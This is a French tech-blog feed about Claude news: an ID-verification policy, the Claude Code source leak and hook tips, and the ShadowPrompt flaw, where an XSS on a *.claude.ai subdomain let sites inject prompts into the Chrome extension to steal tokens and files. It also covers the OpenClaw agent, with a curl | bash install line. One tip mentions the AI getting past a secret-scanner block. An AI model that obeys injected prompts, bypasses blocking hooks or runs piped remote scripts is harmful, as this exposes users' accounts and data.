    Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées. Le mécanisme se déclenche a priori dans pl

Anthropic demande désormais pièce d'identité et selfie pour certains usages de Claude

Par : Korben
16 avril 2026 à 14:30

Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées.

Le mécanisme se déclenche a priori dans plusieurs cas : accès à des capacités spécifiques, vérifications d'intégrité de plateforme, ou mesures de conformité. Anthropic ne détaille pas vraiment les usages qui déclenchent cette vérification, ce qui crée du coup un flou que pas mal d'utilisateurs n'apprécient pas des masses.

Le timing est franchement gênant. Des millions d'utilisateurs ont migré vers Claude ces derniers mois, après les polémiques sur la surveillance et les accords controversés d'OpenAI avec des agences gouvernementales. "Vous avez quitté OpenAI pour la vie privée. Claude veut maintenant votre passeport", déclarent même certains journalistes. L'image n'est pas fausse.

Anthropic se défend, en expliquant que les images restent chez Persona, Anthropic y accède uniquement sur demande (appel, par exemple), et le prestataire est contractuellement interdit de les utiliser à d'autres fins que la vérification et la prévention des fraudes. Pas de revente, pas de marketing. Sur le papier, c'est propre. En pratique, vous donnez quand même un document d'identité gouvernemental à un sous-traitant pour pouvoir poser des questions à un chatbot.

La vraie question, c'est pourquoi. Anthropic invoque la sécurité et la conformité, mais la pression réglementaire sur les modèles d'IA pousse les éditeurs à vérifier l'âge et l'identité des utilisateurs, surtout quand leurs modèles deviennent plus puissants. On l'a vu avec OpenAI et son programme Trusted Access for Cyber, même logique d'accès vérifié. 

Pour les utilisateurs qui utilisent Claude pour du code, de l'écriture ou de la recherche, ça ne changera probablement rien au quotidien. La vérification ne se déclenche pas pour tout le monde, pas tout le temps. Mais si ça tombe sur vous, refuser revient à perdre l'accès aux fonctionnalités concernées. Pas d'alternative proposée.

Bref, il y a là une logique réglementaire, mais le contraste avec l'image "pro-vie privée" d'Anthropic pique un peu.

Source : Helpnetsecurity

  • ✇Korben
  • Fuite Claude Code - 6 trucs à piquer pour vos hooks
    Le code source de Claude Code a fuité hier, et au-delà du buzz, y'a, je trouve, quelques leçons concrètes à tirer de tout ça. Alors rassurez-vous, je vais pas vous balancer du code TypeScript à copier-coller (on n'est pas des cochons), ni des leçons de morale sur ce qu'on peut ou pas pousser sur un dépôt Git, mais plutôt vous lister des patterns d'architecture / bonnes pratiques que vous pouvez implémenter dès maintenant dans votre fichier settings.json via le système de hooks de Claude Code . J

Fuite Claude Code - 6 trucs à piquer pour vos hooks

Par : Korben
1 avril 2026 à 14:50

Le code source de Claude Code a fuité hier, et au-delà du buzz, y'a, je trouve, quelques leçons concrètes à tirer de tout ça.

Alors rassurez-vous, je vais pas vous balancer du code TypeScript à copier-coller (on n'est pas des cochons), ni des leçons de morale sur ce qu'on peut ou pas pousser sur un dépôt Git, mais plutôt vous lister des patterns d'architecture / bonnes pratiques que vous pouvez implémenter dès maintenant dans votre fichier settings.json via le système de hooks de Claude Code .

Je reste vague techniquement, volontairement pour 2 raisons. D'abord parce qu'il y a eu fuite de code, donc je peux pas poster du code propriétaire ici. Et ensuite parce que chaque projet / boite à outil qu'on se crée dans Claude Code ou ailleurs est différente, donc ce sera à vous (ou à Claude en fait) d'adapter chacune de ces bonnes pratiques.

Concrètement, tout passe par le fichier .claude/settings.json de votre projet (ou ~/.claude/settings.json pour du global). Dedans, vous déclarez des hooks, c'est-à-dire des scripts .cjs ou .sh qui se déclenchent automatiquement à des moments précis : avant qu'un outil s'exécute (PreToolUse), quand vous tapez un message (UserPromptSubmit), après un commit (PostToolUse), etc.

Le script reçoit du JSON en stdin, fait son boulot, et renvoie un code de sortie : 0 pour laisser passer, 2 pour bloquer. Pas besoin de l'API Claude, pas besoin de tokens, ça tourne en local sur votre machine. Hé bien tout ce que vous allez lire ci-dessous, ce sera à vous de l'implémenter dans des scripts de ce type.

Et le plus simple pour ça, c'est de donner les parties de mon article qui vous intéressent à votre propre Claude Code pour qu'il aille lui-même faire les scripts cjs / sh et les bons appels de hooks dans le settings.json. Pourquoi se prendre la tête ?

Et encore une fois, j'insiste, il s'agit de concepts d'ingénierie logicielle, et pas de code propriétaire appartenant à Anthropic.

La première bonne pratique c'est le circuit breaker ou disjoncteur en français...

En gros, quand vos scripts JavaScript appellent des APIs genre l'endpoint chat/completions d'OpenAI ou generateContent de Gemini, ça peut parfois ne pas répondre, parce que la vie quoi... ^^

Et malheureusement, quand cela arrive, votre code continue de marteler l'endpoint en boucle, ce qui fait que vous cramez des tokens pour rien. Le fix est pourtant très simple : Après 3 échecs consécutifs, on coupe, et on passe au fallback. Netflix avait popularisé ça avec leur librairie Hystrix y'a 10 ans, et c'est ce type de protection qu'on retrouve aujourd'hui dans Claude Code. Concrètement, c'est un module Node.js de 40 lignes avec un compteur et un état ouvert/fermé et comme ça, fini les retry storms !

Deuxième pattern : le scanner de secrets en pre-commit.

Un git commit qui embarque une clé API dans un .env, ça arrive trop souvent (demandez à Anthropic et leur fichier .map de 60 Mo ^^). Le hook PreToolUse permet heureusement d'intercepter chaque git commit AVANT exécution. Votre script parcourt alors les fichiers stagés via git diff --cached, cherche les patterns sk-ant-api, ghp_, AKIA, -----BEGIN RSA PRIVATE KEY----- et renvoie un exit 2 pour bloquer.

Perso, j'ai dans ma boîte à outils IA, 18 regex dans un fichier .claude/hooks/secret-scanner.cjs qui couvrent Anthropic, OpenAI, AWS, GitHub, Slack, Stripe et les JWT. Par contre, attention aux faux positifs car un fichier contenant "sk-ant-api" dans un commentaire, ça bloquera tout. Ça m'est déjà arrivé et heureusement, l'IA est assez maligne pour comprendre d'où vient le blocage et éventuellement passer outre si ce n'est pas justifié.

Et troisième truc sympa : la détection de frustration.

En effet, un hook UserPromptSubmit se déclenche quand vous tapez un message de rageux. Ainsi, si votre prompt contient "putain", "ça marche pas" ou "wtf", le hook injecte via stdout un contexte qui dit à Claude d'aller droit au but. Comme ça, y'a plus de blabla et on part direct sur une solution concrète.

Et c'est pareil pour "continue" ou "finis" qui injecte "reprendre sans résumer" automatiquement. Franchement, c'est 30 lignes de JavaScript rikiki à mettre dans .claude/hooks/frustration-detector.cjs et ça change carrément la vie quand vous êtes en mode debug à 2h du mat avec un café dans la main gauche et un œil qui se ferme tout seul en tremblant !

Quatrième bonne pratique : les tags @[MODEL] dans vos skills.

Car vous le savez, certaines règles que vous avez mises en place existent uniquement à cause d'un biais du modèle actuel. Genre, Opus 4.6 qui colle ces putains de tirets cadratins (Unicode U+2014) partout. Du coup, ça oblige les gens à mettre dans leurs skills une règle du genre "0 em-dash". Sauf que le jour où Sonnet 5 ne les utilisera plus, cette règle ce sera du bruit inutile.

Alors en taguant @[OPUS-4.6] dans un commentaire HTML, vous pourrez ensuite faire facilement un grep -r "@\[OPUS" quand vous changez de modèle. C'est du tracking de dette technique pour le prompt engineering, quoi... et perso, je n'y avais pas pensé avant.

Cinquième pattern : les seuils numériques.

Votre "Fais des fonctions courtes" dans un CLAUDE.md, ça ne veut rien dire pour un agent et malheureusement, la plupart des gens écrivent encore "sois concis" ou "toi faire code propre" sans aucun chiffre alors qu'un "Max 50 lignes par fonction, couverture tests ≥ 80%, 0 warning ESLint" c'est vachement plus efficace car vérifiable par un script.

Enfin, dernier pattern : la consolidation mémoire.

Anthropic a mis en place un système nommé autoDream qui tourne pendant l'inactivité de Claude Code pour nettoyer la mémoire. Il vire les doublons, résout les contradictions, vérifie que les fichiers existent encore. Et même s'il ne le réclame pas parce qu'ils n'ont pas de bouche pour vous parler, vos CLAUDE.md de 200 lignes et vos JSON de 70 Ko ont besoin du même traitement ! Donc il faut que vous ajoutiez une phase genre "dream" en bash ou Node.js à la fin de vos workflows, comme ça, plutôt que de tout garder, le script scan le répertoire ~/.claude/, trie les entrées par date, et fusionne les doublons. C'est comme la consolidation pendant l'inactivité, mais en 5 secondes sur un Apple M4.

D'ailleurs, la communauté n'a pas perdu de temps. Un développeur a catalogué les 88 feature flags planqués dans le code, dont 54 qui compilent proprement (les autres dépendent de modules internes d'Anthropic). Et un autre a reconstitué 8 diagrammes d'architecture complets du pipeline : cycle de vie d'une requête, système de permissions, orchestration multi-agents... C'est la meilleure doc technique qui existe sur le fonctionnement interne de Claude Code, et elle ne vient pas d'Anthropic ^^

Architecture globale de Claude Code reconstituée par la communauté

Voilà et toutes ces pratiques, ça repose sur les 25 événements du système de hooks (PreToolUse, PostToolUse, UserPromptSubmit, Stop...) avec 3 types de handlers : command pour les scripts shell, prompt pour une évaluation LLM, et agent pour une vérification multi-étapes.

Après, si l'un de vos scripts plante comme une merde, le hook laissera passer des choses, donc pensez bien à tester chaque retour de script avec un echo '{}' | ./mon-hook.sh && echo $? avant de déployer.

Et voilà ! Je vous invite à lire mon article sur la fuite pour plus d'infos.

  • ✇Korben
  • Claude Code prend la fuite
    60 Mo de source maps (ces fichiers qui permettent de remonter du code minifié à l'original) ont été oubliés dans un paquet npm. Et voilà comment Anthropic a involontairement balancé en public le code source complet de Claude Code, son outil à 2.5 milliards de dollars de revenus annuels. Alors qu'est-ce qui s'est passé exactement ? Hé bien hier, la version 2.1.88 du package @anthropic-ai/claude-code sur le registre npm embarquait un fichier .map de 59.8 Mo. Un truc normalement réservé au debug in

Claude Code prend la fuite

Par : Korben
1 avril 2026 à 09:06

60 Mo de source maps (ces fichiers qui permettent de remonter du code minifié à l'original) ont été oubliés dans un paquet npm. Et voilà comment Anthropic a involontairement balancé en public le code source complet de Claude Code, son outil à 2.5 milliards de dollars de revenus annuels.

Alors qu'est-ce qui s'est passé exactement ?

Hé bien hier, la version 2.1.88 du package @anthropic-ai/claude-code sur le registre npm embarquait un fichier .map de 59.8 Mo. Un truc normalement réservé au debug interne, sauf que ce fichier .map contenait les pointeurs vers les 1 900 fichiers TypeScript originaux, en clair. Chaofan Shou, un développeur chez Solayer Labs, a alors repéré la boulette et l'a partagée sur X. Le temps qu'Anthropic réagisse, le code était déjà mirroré partout sur GitHub, avec 41 500+ forks en quelques heures. Autant dire que le dentifrice ne rentrera pas dans le tube !

Pour ma part, j'avais un petit dépôt à moi assez ancien avec quelques trucs relatifs à Claude Code, qui n'avait rien à voir avec tout ça, qui s'est même retrouvé striké... Ils ratissent large avec leur DMCA donc.

Et là, c'est la fête pour les curieux comme moi parce que les entrailles de l'outil révèlent pas mal de surprises. Côté architecture, on découvre environ 40 outils internes avec gestion de permissions, un moteur de requêtes de 46 000 lignes de TypeScript, un système multi-agents capable de spawner des essaims de sous-tâches en parallèle, et un pont de communication entre le terminal et votre éditeur VS Code ou JetBrains. Le tout tourne sur Bun (pas Node.js ^^) avec Ink pour l'interface terminal. Par contre, pas de tests unitaires visibles dans le dump.

Côté mémoire, c'est plutôt bien pensé puisqu'au lieu de tout stocker bêtement dans la fenêtre de contexte du modèle, l'outil utilise un fichier texte MEMORY.md ultra-léger (genre 150 caractères par entrée) qui sert d'index de pointeurs. Les vraies données, elles, sont distribuées dans des fichiers thématiques chargés à la demande, et les transcripts bruts ne sont jamais relus entièrement, mais juste fouillés à la recherche d'identifiants précis. L'agent traite en fait sa propre mémoire comme un "hint" ce qui le force à vérifier toujours le vrai code avant d'agir. En gros, il a une mémoire sceptique, et pour moi c'est clairement le truc le plus intéressant du dump.

Y'a aussi un truc qui s'appelle KAIROS (mentionné 150 fois dans le code) qui est un genre de mode daemon autonome. En fait, pendant que vous allez chercher votre café, l'agent tourne en arrière-plan et fait ce qu'ils appellent autoDream : il consolide sa mémoire dans des fichiers JSON, vire les contradictions et transforme les observations vagues en données structurées. Comme ça, quand vous revenez devant votre écran, le contexte est nettoyé.

Et puis le code balance aussi la roadmap interne d'Anthropic (bon courage au service comm ^^). On y trouve les noms de code des modèles... Capybara pour un variant de Claude 4.6, Fennec pour Opus 4.6, et un mystérieux Numbat qui n'est pas encore sorti. D'ailleurs, les commentaires internes révèlent que Capybara v8 a un taux de fausses affirmations qui tourne autour de 30%, ce qui est une grosse régression par rapport aux 17% de la v4. Y'a même un "Undercover Mode" qui permet à l'agent de contribuer à des repos publics sans révéler d'infos internes (c'est sympa pour les projets open source).

Anthropic a confirmé la fuite : "C'était un problème de packaging lié à une erreur humaine, pas une faille de sécurité. Aucune donnée client n'a été exposée." Mouais, attention quand même, parce que le code est déjà partout et n'en repartira pas. Et même si aucun secret client n'a fuité, exposer l'architecture complète d'un agent IA à 2.5 milliards de revenus, c'est pas rien non plus.

Bon, et maintenant qu'est-ce qu'on peut en faire ? Bah pas mal de choses en fait.

Par exemple, le système de mémoire auto-correcteur est un pattern directement réutilisable pour vos propres agents IA. L'architecture "index léger + fichiers à la demande" résout élégamment le problème de la pollution de contexte qui fait halluciner les LLM sur les longues sessions. Les +40 outils internes permettent aussi de comprendre comment structurer un système de permissions granulaires dans un agent autonome . Et le concept KAIROS/autoDream, la consolidation mémoire pendant l'idle, c'est une idée qu'aucun outil open source n'implémente encore. Autant dire que les alternatives open source à Claude Code ou Codex vont monter en gamme dans les jours qui viennent. Et le code est déjà nettoyé, réécris en Rust et mis sur GitHub si vous voulez fouiller. Bon, pas sûr que le pattern autoDream soit simple à reimplémenter, mais le système de mémoire oui.

Je trouve ça assez marrant que le code proprio d'une boite qui a aspiré tout l'open source du monde voire plus, sans autorisation, pour le revendre sous la forme de temps machine / tokens, devienne lui aussi en quelque sorte "open source" sans qu'on leur demande leur avis ^^. La vie est bien faite.

Maintenant, pour les développeurs qui publient sur npm, la leçon est limpide : Vérifiez votre .npmignore et votre champ files dans package.json. Ou plutôt, lancez la commande npm pack --dry-run dans votre terminal avant chaque publish. Ça prend 2 secondes et ça vous montre exactement ce qui sera inclus dans le paquet. Ça aurait évité 60 Mo de secrets industriels qui partent en public.

Bref, un .npmignore bien configuré, ça coûte 0 euro. Alors qu'une fuite de propriété intellectuelle évaluée à 2.5 milliards... un peu plus !

Source

  • ✇Korben
  • ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude
    Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue. En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les m

ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude

Par : Korben
27 mars 2026 à 08:29

Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue.

En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les messages de n'importe quel sous-domaine en *.claude.ai, car Anthropic avait mis en place un allowlist trop permissif. Sauf qu'Arkose Labs, le fournisseur de CAPTCHA, hébergeait un composant sur a-cdn.claude.ai et malheureusement, ce composant contenait une jolie faille XSS bien classique. Celui-ci acceptait les postMessage sans vérifier l'origine, et le texte reçu était ainsi injectable via un dangerouslySetInnerHTML . Donc y'a bien ZERO validation côté client. Ouééééé !

Un attaquant n'avait qu'à embarquer ce composant CAPTCHA vulnérable dans une iframe cachée sur son site, envoyer un payload via postMessage, et hop, le script injecté pouvait balancer un prompt directement à l'extension. Elle le recevait depuis un domaine *.claude.ai, donc elle l'acceptait les yeux fermés et l'affichait alors dans la sidebar comme une requête légitime de l'utilisateur. La victime ne voyait strictement rien.

Et les dégâts potentiels ne sont clairement pas anecdotiques ! Avec cette technique, un attaquant pouvait voler vos tokens d'accès Gmail, exfiltrer des documents Google Drive, lire tout l'historique de vos conversations avec Claude, et même envoyer des mails en votre nom. Perso, ça fait beaucoup pour un simple onglet ouvert dans Chrome, quoi.

Le chercheur a trouvé le vecteur en bruteforçant les anciennes versions du composant Arkose Labs, en remontant depuis la version 1.26.0 jusqu'à trouver une mouture encore vulnérable. Simple, basique comme dirait Orel :)

Si vous suivez les failles des assistants IA, c'est pas la première fois qu'on voit ce genre de scénario. Claude Cowork s'était déjà fait épingler pour de l'exfiltration de fichiers via des documents piégés, et le navigateur Perplexity Comet avait le même problème avec des invitations de calendrier. Le problème de fond, c'est que ces extensions veulent tout faire à votre place, mais elles ne sont pas forcément capables de distinguer une requête légitime d'une attaque.

Par contre, attention, le fix ne protège que les utilisateurs qui ont mis à jour l'extension, donc n'oubliez pas de vérifier votre version. Koi Security a signalé la faille à Anthropic le 26 décembre 2025 (joyeux Noël !) et ces derniers ont confirmé le lendemain et déployé le correctif le 15 janvier, dans la version 1.0.41 de l'extension Chrome.

Maintenant au lieu d'accepter *.claude.ai, l'extension exige maintenant une correspondance exacte avec https://claude.ai . Arkose Labs a de son côté aussi corrigé la faille XSS en février, en renvoyant un 403 sur l'URL vulnérable. À vrai dire, la réactivité d'Anthropic a été plutôt correcte sur ce coup.

Bref, allez vérifier que vous êtes au moins en v1.0.41 (chrome://extensions pour checker). Et n'oubliez pas, plus une extension IA a de pouvoirs, plus elle est intéressante à hacker...

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  • Claude Code - Pilotez votre terminal depuis votre canapé
    Claude Code tourne en local et c'est son gros avantage car ça permet par exemple d'agir sur votre machine, de lancer des scripts...etc. Mais c'est aussi sa grosse limite car à cause de ça, vous êtes cloué devant votre terminal. J'étais en quête depuis un moment d'une solution et je vous avais déjà parlé de Vibe Companion y'a pas longtemps mais tous ces outils vont disparaitre puisque Anthropic vient de sortir Remote Control, une feature qui transforme claude.ai ou l'app mobile en télécommande po

Claude Code - Pilotez votre terminal depuis votre canapé

Par : Korben
26 février 2026 à 12:46

Claude Code tourne en local et c'est son gros avantage car ça permet par exemple d'agir sur votre machine, de lancer des scripts...etc. Mais c'est aussi sa grosse limite car à cause de ça, vous êtes cloué devant votre terminal. J'étais en quête depuis un moment d'une solution et je vous avais déjà parlé de Vibe Companion y'a pas longtemps mais tous ces outils vont disparaitre puisque Anthropic vient de sortir Remote Control, une feature qui transforme claude.ai ou l'app mobile en télécommande pour votre session locale. Comme ça, vos fichiers restent chez vous et seule l'interface voyage.

Votre ordi fait tourner Claude Code normalement, et vous, vous pouvez continuer à lui parler depuis votre iPhone, votre Android, votre iPad ou n'importe quel navigateur Chrome, Firefox, Safari... Pas de serveur exposé, pas de port ouvert, que du HTTPS sortant. C'est plutôt bien foutu vous allez voir !

Ce qu'il vous faut

Bon déjà, un abonnement Pro (Édit : ? on me dit que c'est pas encore actif pour les pro ?) ou Max (pas le choix, les clés API ne marchent pas et les plans Team/Enterprise sont exclus pour le moment). Ensuite, vérifiez que Claude Code est installé et que vous êtes connecté via /login. Acceptez ensuite le "workspace trust" dans votre projet et hop, c'est tout côté prérequis.

Lancer une session

Deux options s'offrent à vous ensuite... Soit vous démarrez une nouvelle session dédiée :

claude remote-control

Soit vous êtes déjà en train de bosser dans Claude Code et vous tapez /rc (alias de /remote-control). Avec claude remote-control, seule l'URL apparaît... donc appuyez sur espace pour afficher le joli QR code.

3 flags utiles (uniquement avec claude remote-control, pas /rc) : --verbose pour voir ce qui transite, --sandbox pour forcer le mode bac à sable (désactivé par défaut) et --no-sandbox pour le couper si vous l'avez activé dans votre config.

Se connecter depuis un autre appareil

Ensuite, la méthode la plus rapide c'est de scanner le QR code avec votre téléphone. Sinon, copiez l'URL affichée et collez-la dans n'importe quel navigateur. Dernière option, allez sur claude.ai/code et votre session apparaît dans la liste (les sessions actives ont un petit point vert).

Une fois connecté, vous récupérez votre conversation en cours, vos fichiers, votre contexte... tout. Vous pouvez envoyer des messages, voir les résultats, approuver les modifications de fichiers. Bref, comme si vous étiez devant votre terminal, sauf que vous êtes dans votre canapé, votre lit ou en train de pousser le caddie chez Auchan !

Activer par défaut

Maintenant, si vous voulez que CHAQUE session Claude Code soit automatiquement accessible à distance, tapez /config dans une session Claude Code, puis activez l'option "Enable Remote Control for all sessions". Et voilà, plus besoin d'y réfléchir ! Chaque claude lancé dans un terminal sera pilotable depuis votre navigateur ou l'app mobile.

Vos sessions prennent le nom de votre dernier message (ou "Remote Control session" par défaut), donc utilisez /rename mon-projet-cool pour les retrouver facilement dans la liste sur claude.ai/code.

Sinon, dans Claude Code avec /mobile vous pouvez aussi afficher directement le QR code pour télécharger l'app Claude sur iOS ou Android.

Les limites à connaître

Bon, après c'est pas non plus parfait car déjà, c'est cappé à UNE SEULE session à distance par instance de Claude Code (si vous en lancez une deuxième, la première se déconnecte). Par contre, plusieurs instances dans des terminaux différents peuvent chacune avoir leur session remote. Le terminal doit également rester ouvert (si vous le fermez, c'est fini). Mais bonne nouvelle quand même, si le laptop passe en veille ou que le réseau saute, ça se reconnectera tout seul au réveil. Le piège, c'est si la machine reste sans réseau plus de 10 minutes... là, la session expire et il faudra relancer claude remote-control.

Soyez rassurés quand même côté sécurité c'est propre (uniquement du HTTPS sortant sur le port 443, zéro port entrant et des identifiants éphémères), mais gardez en tête que Claude Code a accès à votre terminal donc sauf si vous activez --sandbox, il peut de ce fait exécuter n'importe quelle commande... donc les mêmes précautions qu'en local s'appliquent !

Du coup si vous en avez marre de rester scotché devant votre terminal, maintenant vous savez quoi faire.

Merci à Lorenper !

  • ✇Korben
  • Claude ouvre ses outils pro à tous (et y'a zéro pub)
    OpenAI colle des pubs dans ChatGPT, et pendant ce temps, Anthropic fait exactement l'inverse puisqu'ils viennent d'ouvrir tous les outils premium de Claude aux utilisateurs gratuits. Création de fichiers Excel, PowerPoint, Word, PDF (oui, tout ça)... c'était autrefois réservé aux abonnés Pro et depuis hier, c'est accessible à tout le monde ! Vous pouvez donc créer un tableau Excel avec des formules, un PowerPoint bien formaté, ou un document Word prêt à envoyer. Côté connecteurs, vous pouvez bra

Claude ouvre ses outils pro à tous (et y'a zéro pub)

Par : Korben
12 février 2026 à 10:20

OpenAI colle des pubs dans ChatGPT, et pendant ce temps, Anthropic fait exactement l'inverse puisqu'ils viennent d'ouvrir tous les outils premium de Claude aux utilisateurs gratuits.

Création de fichiers Excel, PowerPoint, Word, PDF (oui, tout ça)... c'était autrefois réservé aux abonnés Pro et depuis hier, c'est accessible à tout le monde ! Vous pouvez donc créer un tableau Excel avec des formules, un PowerPoint bien formaté, ou un document Word prêt à envoyer.

Côté connecteurs, vous pouvez brancher Claude directement sur Slack, Notion, Figma, WordPress, Zapier, Stripe, Canva, Asana et même PayPal. En gros, l'IA va chercher des infos dans vos outils et agit dessus plutôt que de vous laisser faire du copier-coller.

Y'a aussi les Skills (pour expliquer rapidos, ce sont des fichiers d'automatisation) que vous configurez pour que l'assistant fasse des tâches répétitives à votre place. Du coup, si vous avez déjà bidouillé avec ses capacités de dev , vous voyez l'intérêt d'avoir ça.

Anthropic a aussi glissé la "conversation compaction" qui garde le contexte sur des échanges plus longs. Le modèle pour les gratuits, c'est Sonnet 4.5 et les abonnés Pro à 20$/mois gardent Opus. Attention quand même, les limites d'utilisation n'ont PAS bougé parce que bon, faut bien vendre le Pro. Donc au bout de quelques échanges, ça sera moins chouette ^^... sauf si vous passez à la caisse, évidemment.

Moi je suis pas super fan de leur application Desktop et je préfère largement la version Claude Code en CLI mais bon, c'est juste une question de goût, car ça marche tout aussi bien.

Bref, entre les pubs d'OpenAI et les outils gratuits d'Anthropic... le choix est vite fait ! Anthropic est à un virage important et il ne faut pas qu'ils se loupent, car les gens sont ( enfin ) en train de se rendre compte que leur Claude est biiiiien au dessus de ce que propose ChatGPT.

Source

Saga OpenClaw (ClawdBot, Moltbot) : enjeux techniques, juridiques et éthiques d’un assistant IA open source

Né en novembre 2025, Clawd, un projet open source IA, a été renommé Moltbot sous la pression juridique de Anthropic (Claude), puis OpenClaw rapidement.

Nous passerons en revue dans cet article la chronologie des faits, les enjeux techniques, juridiques et éthiques, dans un monde open source, projet dont la diffusion a explosé pour bien des raisons…

Logo OpenClaw

Sommaire

Chronologie

ClawdBot de novembre 2025 au 27 janvier 2026

Le projet débute en novembre 2025 sous le nom de Clawdbot, lancé par l'ingénieur autrichien Peter Steinberger, développeur autrichien et fondateur de PSPDFKit. Ce prototype de « WhatsApp Relay » connecte l'IA aux applications de messagerie pour automatiser des tâches système. Le succès est immédiat avec 60 000 étoiles GitHub en seulement trois jours. Le nom fait initialement référence à l'outil Claude d'Anthropic. En outre, le nom et le logo évoquent le homard, symbole repris dans l’identité visuelle du projet.

ClawdBot connaît une adoption rapide dès sa publication sur GitHub. Le projet vise explicitement une alternative locale et contrôlée aux assistants IA centralisés.

MoltBot du 27 au 29 janvier 2026

Le 27 janvier 2026, la firme Anthropic demande un changement de nom pour éviter toute confusion avec sa marque « Claude ». Peter Steinberger rebaptise alors le projet Moltbot, évoquant la mue du crustacé. Ce changement intervient dans un contexte de couverture médiatique maximale. La transition est techniquement précipitée, et elle met en lumière les fragilités organisationnelles liées à une croissance trop rapide. On voit apparaître des clones, des faux dépôts et des tentatives d’escroquerie, par exemple le vol de comptes sociaux par des escrocs et le lancement d'un faux jeton de cryptomonnaie nommé $CLAWD.

OpenClaw depuis 30 janvier 2026

Le 30 janvier 2026, le projet adopte son identité définitive : OpenClaw. Une vérification juridique préalable est effectuée. Les domaines et identités associées sont sécurisés. Ce nouveau nom souligne l'ancrage dans le logiciel libre tout en conservant l'hommage au homard d'origine. La transition est cette fois sécurisée par des recherches de marques et le blocage des noms de domaines. Le projet se stabilise et dépasse rapidement les 124 000 étoiles GitHub.

La phase OpenClaw marque une stabilisation. Plusieurs correctifs de sécurité sont publiés. La gouvernance s’ouvre à de nouveaux mainteneurs issus de la communauté.

OpenClaw

Description et définition

OpenClaw est un assistant IA personnel appartenant à la catégorie des agents autonomes. Il est conçu pour être installé et s'exécuter sur la machine de l'utilisateur (auto-hébergé). Contrairement aux chatbots classiques, il peut prendre des décisions et effectuer des actions concrètes sur un système d'exploitation sans supervision humaine constante. Le logiciel agit comme une couche d’orchestration entre modèles IA et services locaux. Il vise un usage personnel ou organisationnel. L’autonomie fonctionnelle est au cœur de sa proposition de valeur.

Le site web décrit OpenClaw de cette manière :

OpenClaw
The AI that actually does things.
Clears your inbox, sends emails, manages your calendar, checks you in for flights.
All from WhatsApp, Telegram, or any chat app you already use.

Installation

L'installation se passe en ligne de commande : téléchargement, puis lancement de la procédure d'installation, choix du LLM, choix du chat, et voilà.

One-liner

# Works everywhere. Installs everything. You're welcome. 🦞
curl -fsSL https://openclaw.ai/install.sh | bash

npm

# Install OpenClaw
npm i -g openclaw
# Meet your lobster
openclaw onboard

Hackable

# For those who read source code for fun
curl -fsSL https://openclaw.ai/install.sh | bash -s -- --install-method git

Fonctionnalités

L'agent exécute des commandes shell, lit et écrit des fichiers locaux, ou gère les courriels et agendas. Il peut piloter un navigateur web pour remplir des formulaires ou effectuer des recherches. Le système dispose d'une mémoire persistante lui permettant de conserver le contexte des conversations à long terme (context window). Il peut également initier des interactions de manière proactive via des notifications.

Architecture

Le logiciel repose sur Node.js et TypeScript. Son architecture est divisée en trois couches : une passerelle locale (Gateway), un agent qui gère le raisonnement (découpage et séquencement), et le moteur d'IA (LLM). Il utilise des protocoles WebSocket pour la communication bidirectionnelle entre ses composants. Les interactions s'effectuent via des applications tierces comme WhatsApp, Telegram, Slack ou Discord. Il connecte des modèles IA à des applications tierces. Le système est extensible via plugins. Plus de cinquante intégrations sont disponibles. L’architecture privilégie la modularité plutôt que l’intégration verticale.

Licence

OpenClaw est distribué sous la licence MIT. Cette licence permissive, reconnue par l’Open Source Initiative et la Free Software Foundation, autorise l'utilisation, la modification et la distribution du code, y compris à des fins commerciales. La seule obligation est d'incorporer la notice de licence et de copyright dans toutes les copies.

Dépendances

Le projet combine des briques libres et propriétaires. Les dépendances libres incluent Node.js, Puppeteer et Ollama pour l'exécution locale (inférence d'IA). En revanche, le fonctionnement optimal nécessite souvent des API propriétaires comme celles d'Anthropic (Claude) ou d'OpenAI (GPT). L'utilisation de ces services externes entraîne des coûts d'abonnement pour l'utilisateur, et l'envoi et éparpillement de données sur des clouds étrangers (pouvant être soumis aux lois extra-territoriales).

Succès communautaire et médiatique

Dynamiques et amplifications

Le projet a bénéficié d'un engouement lié au mouvement du « vibe coding » (développement assisté par IA). Des figures influentes comme Andrej Karpathy ont soutenu publiquement l'initiative.

Les réseaux sociaux et médias amplifient le phénomène. Des contributeurs rejoignent le dépôt en masse. Des usages spectaculaires sont massivement partagés. Une véritable sous-culture est née autour de l'achat de serveurs Mac mini dédiés pour faire tourner l'agent 24h/24. La mascotte du « homard spatial » devient un mème.

Mème inspiré de "Spider-Man Pointing at Spider-Man"

Métriques

La croissance a été l'une des plus rapides de l'histoire de l'open source:

  • Le dépôt GitHub atteint une visibilité exceptionnelle avec plus de 100 000 étoiles GitHub en une semaine.
  • Le projet a attiré plus de 2 millions de visiteurs en sept jours.
  • La communauté a développé plus de 500 extensions ou « skills » partagées sur Clawhub.

Des milliers d’instances sont déployées en quelques semaines. Un réseau social Motlbook dédié aux agents autonomes sans humains est créé, et plus de 2 100 agents y sont recensés en 48 heures.

La popularité précède largement la maturité technique.

courbe des étoiles pour OpenClaw sur github

Aspects juridiques et légaux

Licences

La licence MIT ne pose pas de contrainte juridique majeure. Elle ne protège cependant ni le nom ni l’image du projet. L'utilisateur est responsable de l'installation et des conséquences de l'exécution de l'agent.

